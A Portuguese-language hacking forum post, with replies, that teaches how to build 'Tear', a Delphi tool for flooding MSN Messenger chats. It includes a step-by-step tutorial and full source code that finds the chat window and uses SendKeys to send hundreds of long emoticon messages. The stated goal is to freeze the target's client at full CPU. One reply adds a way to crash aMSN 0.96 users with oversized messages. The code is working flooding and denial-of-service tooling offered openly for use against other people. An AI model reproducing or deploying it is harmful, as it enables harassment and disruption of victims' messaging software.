MSN Flood

[OnlyOne]

ola garotos

Bem , eu venho ate vcs hj demonstrar como fazer um pequeno flood de
msgs no MSN , feito em Delphi


o resultado do flood , segundo os testes q fiz é:

* um congelamento do  MSN , elevando o consumdo de CPU para 100 % , ou seja , travando o programa e obrigando o alvo a fecha-lo


O Q VC PRECISA PRA FAZER ?

1- Delphi 7

2- Unit SndKey32.pas (encontrada facilmente na net)



INSTALANDO A SNDKEY32.PAS

1- ponha a unit na pasta do seu Delphi , e acrescente um caminho para a

mesma no seu Library clicando em :


Tools/Enviroment Options/library

e acrescente o caminho da unit em Library Path



MODIFICANDO A UNIT SNDKEY32.PAS

pra enviar o flood , precisamos gerar um smile , aquela da carinha

chorando

o codigo seria este aqui


:'(


entao vc vai abrir a sndkey32.pas e procurar o trecho de codigo a

seguir

linha 356 do codigo:

Code Select Expand


 While (I<L) do begin
    case SendKeysString[I] of
   { '(' : begin
            UsingParens := True;
            Inc(I);
          end; }


perceba q eu comentei este trecho de codigo , e exatamente isso q vc

tem q fazer pra dar certo ok , depois e so salvar tudo



VAMOS CODAR ?


bem , acrescente na Uses


Uses sndkey32.pas


a primeira coisa q vamos fazer e descobrir se tem uma janela de

conversa do MSN ativa

isso nos vamos fazer assim

Code Select Expand


//procura janela de conversa no msn
h := FindWindow('IMWindowClass',nil);

//se nao encontrar , sai da funçao
if h = 0 then
 begin
  Exit;
   end;


facil ne ?

se a janela for encontrada , vamos colocar ela em foco assim :

Code Select Expand


//coloca a janela em foco
SetForeGroundWindow(h);



depois o q temos q fazer ?

criar a msg q vai ser enviada , no caso um monte de smiles

Code Select Expand


//cria msg do flood
for i := 0 to 500 do
 begin
  txt := txt + ':''' + #40;
   end;


tranquilo ate aqui ?

depois de :

* encontrada a jenela de bate papo

* criada a msg

vamos envia-la ne ? uma vez ? nao ! 1000 vezes !! hehehehehhe

Code Select Expand


//envia texto
SendKeys(PChar(txt + '{ENTER}'),true);
 Sleep(3000);


a funçao SendKeys() é a responsavel pela brincadeira , ela vai

enviar o texto e simulando o pressinamento da tecla enter

ok ?

no mais e so isso muito simples nao ?



CODIGO COMPLETO

codigo fonte pra vcs estudarem e adaptarem , favor manter os creditos

originais

Code Select Expand

{ Tear by OnlyOne

***********************************************************************

********}

unit main;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls,

Forms,
  Dialogs, ExtCtrls, Menus, CoolTrayIcon,

IdBaseComponent,IdThreadComponent,
  sndkey32;


//Classes

*********************************************************************/

type
  Tte = class(TForm)
    painel1: TPanel;
    tray: TCoolTrayIcon;
    thread: TIdThreadComponent;
    menu: TPopupMenu;
    menu_Sair: TMenuItem;
    menu_ComecarFlood: TMenuItem;
    menu_PararFlood: TMenuItem;

procedure menu_SairClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure MsnFlood();
procedure menu_ComecarFloodClick(Sender: TObject);
procedure threadRun(Sender: TIdCustomThreadComponent);
procedure menu_PararFloodClick(Sender: TObject);

end;


//Variaveis

*******************************************************************/

var
  te : Tte;
  h : HWND;
  control : Boolean = false;


//Metodos

*********************************************************************/ 

implementation

{$R *.dfm}



//fecha programa * * * * * * * * * * * * * * * * * * * * * * * * * * *

* * * * /
procedure Tte.menu_SairClick(Sender: TObject);
begin

Application.Terminate;

end; //end of Tte.menu_SairClick





//ao criar o form principal * * * * * * * * * * * * * * * * * * * * * *

* * * */
procedure Tte.FormCreate(Sender: TObject);
begin

//configura tray
tray.Enabled := true;
tray.IconVisible := true;
tray.MinimizeToTray := true;
tray.Hint := 'Tear';
tray.ShowHint := true;
tray.PopupMenu := menu;
tray.LeftPopup := false;

//msg de saudaçao
tray.ShowBalloonHint('Tear by OnlyOne','Seja bem vindo',bitinfo,10);

end; //end of Tte.FormCreate





//envia flood de msgs * * * * * * * * * * * * * * * * * * * * * * * * *

* * * */
procedure Tte.MsnFlood();

var i : Integer;
    txt : String;

begin

//cria msg do flood
for i := 0 to 1000 do
 begin
  txt := txt + ':''' + #40;
   end;

//envia flood
for i := 0 to 500 do
 begin

//verifica se e para terminar flood
if control = true then Exit;

//procura janela de conversa no msn
h := FindWindow('IMWindowClass',nil);

//se nao encontrar , sai da funçao
if h = 0 then
 begin
  tray.ShowBalloonHint('Tear','Você não esta conversando

!',bitinfo,10);
   Exit;
    end;

//coloca a janela em foco
SetForeGroundWindow(h);

//envia texto
SendKeys(PChar(txt + '{ENTER}'),true);
 Sleep(3000);

 end;//for

end; //end of Tte.MsnFlood





//inicia o processo de flood * * * * * * * * * * * * * * * * * * * * *

* * * * /
procedure Tte.menu_ComecarFloodClick(Sender: TObject);
begin

//ativa thread
thread.Active:= true;

tray.ShowBalloonHint('Tear','Flood ativado',bitinfo,10);

end; //end of Tte.menu_ComecarFloodClick





//funçao da thread * * * * * * * * * * * * * * * * * * * * * * * * * *

* * * * /
procedure Tte.threadRun(Sender: TIdCustomThreadComponent);
begin

MsnFlood();

thread.Active := false;

control := false;

end; //end of Tte.threadRun





//para o flood * * * * * * * * * * * * * * * * * * * * * * * * * * * *

* * * * /
procedure Tte.menu_PararFloodClick(Sender: TObject);
begin

control := true;

tray.ShowBalloonHint('Tear','Flood desativado',bitinfo,10);

end; //end of Tte.menu_PararFloodClick

end.



lembrando q aqui tb foi usado o componente CoolTrayIcon (tb encontrado

na net)

bom , e isso , espero q tenham gostado e q seje util pra vcs

faça flood com moderaçao , hehehehehehehehehhe


                   OnlyOne [SINAPSE]

[Anonymous]

cara nao consegui instalar este Cool Tray Icon, todos que eu peguei nao funfa no delphi 7

[Hacker Xtreme]

OnlyOne, vc pode usar a KeyBD_Event da uses Windows pra enviar as teclas, é bem melhor, no Xtreme Component eu coloquei ficou legal ^^

[Anonymous]

Nossa legal obrigado ehehe

[Anonymous]

Na versão 0.96 do aMSN dá para travar o micro da pessoa. Mesmo não sendo um flood, a intenção é a mesma (derrubar).
Não sei se na versão de windows é possível, mas na de Linux basta enviar uma mensagem enorme (que tal uns 5000 caracteres?) para o alvo e pronto. O aMSN não tem limite de caracteres para enviar, e na maioria das vezes a net da vítima trava e ela cai. Basta apenas copiar um texto grande e ficar com o ctrl+v pressionado ^^

Mas é claro que eu acho esse método do Delphi bem mais profissional que apenas ficar colando mensagens grandes =)

Algo para os preguiçosos =P

Cool Tray Icon:
http://subsimple.com/download/CoolTrayIcon.zip

Unit SndKey32.pas
http://home.conceptsfa.nl/~gvdvenis/downloads/sndkey32.pas